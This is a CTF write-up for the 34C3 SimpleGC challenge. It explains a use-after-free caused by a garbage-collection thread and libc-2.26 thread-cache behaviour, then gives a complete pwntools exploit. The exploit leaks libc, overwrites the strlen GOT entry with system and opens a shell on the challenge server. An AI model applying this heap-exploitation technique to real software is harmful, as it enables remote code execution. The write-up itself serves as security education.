Introduction
This is the only challenge I solve in 34C3 CTF. There is a Use-After-Free vulnerability in the programme. The biggest trouble for me in this challenge is how to set the testing environment for libc-2.26 and learn something new about Thread Cache malloc.
Vulnerability Analysis
There are two data structures in this challenge:
struct User { short age; char *name; char *groupName; } struct Group { char *groupName; int refCount; }
In this challenge, there is a garbage collection thread to free the group, whose reference count is 0. When deleting a user, it will decrease the reference count of group by one according to the groupName of user.
Another interesting function is that we can choose to change the groupName of a user while not updating the group info. Therefore, we can change the groupName of a user to the name of victim group. Delete the user and trigger the garbage collection procedure on the victim group. In the end, groupName of another user object will be come a dangling pointer, resulting in UAF.
Exploitation Plan
The exploitation plan of this challenge is straightforward. Exploit the UAF to make the dangling pointer point to a victim User object. Use the editing function to change the buffer pointer to leak the libc base address and function pointer of strlen at 0x602030.
The only problem encountered in this challenge is the TC (Thread Cache) chunks freed by garbage collection procedure. Those TCchunks will not be inserted into fastbin chunk. But that is not a big problem. Allocating multiple User objects will fetch the requested chunk.
Exploit
from pwn import * import time DEBUG = int(sys.argv[1]); libc = ELF("./libc-2.26.so"); if(DEBUG == 0): r = remote("35.198.176.224", 1337); elif(DEBUG == 1): r = process("./sgc"); elif(DEBUG == 2): r = process("./sgc"); gdb.attach(r, '''source ./script'''); def addUser(name, group, age): r.recvuntil("Action:"); r.sendline("0"); r.recvuntil("name: "); r.sendline(name); r.recvuntil("group: "); r.sendline(group); r.recvuntil("age: "); r.sendline(str(age)); def viewUser(userIndex): r.recvuntil("Action:"); r.sendline("2"); r.recvuntil("index:"); r.sendline(str(userIndex)); def editGroup(userIndex, option, newName): r.recvuntil("Action:"); r.sendline("3"); r.recvuntil("index: "); r.sendline(str(userIndex)); r.recvuntil("(y/n):"); r.sendline(option); r.recvuntil("name:"); r.sendline(newName); def deleteUser(userIndex): r.recvuntil("Action:"); r.sendline("4"); r.recvuntil("index: "); r.sendline(str(userIndex)); def exploit(): addUser("A"*0x60, "group1", 20); addUser("B"*0x60, "group2", 20); addUser("C"*0x60, "group3", 20); addUser("D"*0x60, "group4", 20); addUser("E"*0x60, "group5", 20); addUser("F"*0x60, "group6", 20); addUser("G"*0x60, "group7", 20); editGroup(0, 'y', "group2"); editGroup(2, 'y', "group4"); editGroup(4, 'y', "group6"); deleteUser(4); time.sleep(2); deleteUser(2); time.sleep(2); deleteUser(0); time.sleep(2); viewUser(1); r.recvuntil("Group: "); leaked = r.recv(4); if(leaked[3] == '\x0a'): leaked = leaked[:3] leakedValue = u64(leaked + "\x00"*(8 - len(leaked))); heap = leakedValue; log.info("leaked heap addr: 0x%x" % heap); for i in range(0, 0x10): addUser("A"*0x60, "group3", 20); editGroup(1, 'y', "A"*8 + p64(0x602018) + p64(0x602018)); viewUser(9); r.recvuntil("Group: "); leak = r.recv(6); leakedValue = u64(leak + "\x00\x00"); log.info("leaked strlen address: 0x%x" % leakedValue); log.info("0x%x" % libc.symbols['free']); freeRelAddr = libc.symbols['free']; libcBase = leakedValue - freeRelAddr; log.info("libcBase: 0x%x" % libcBase); systemRelAddr = libc.symbols['system']; systemAbsAddr = libcBase + systemRelAddr; #systemAbsAddr = 0x414141414141; editGroup(1, 'y', "A"*8 + p64(0x602030) + p64(0x602030)); editGroup(9, 'y', p64(systemAbsAddr)); log.info("start to trigger"); addUser("/bin/sh", "group", 20); r.interactive(); exploit(); #flag: 34C3_th4t_garb4ge_c0llect0r_w4s_garbage_heh
[…] introduced in malloc. I did not take much notice to the new patch last year until I came across the SimpleGC challenge in 34C3 CTF last year. During the contest, I did not take much time analysing the work […]
LikeLiked by 1 person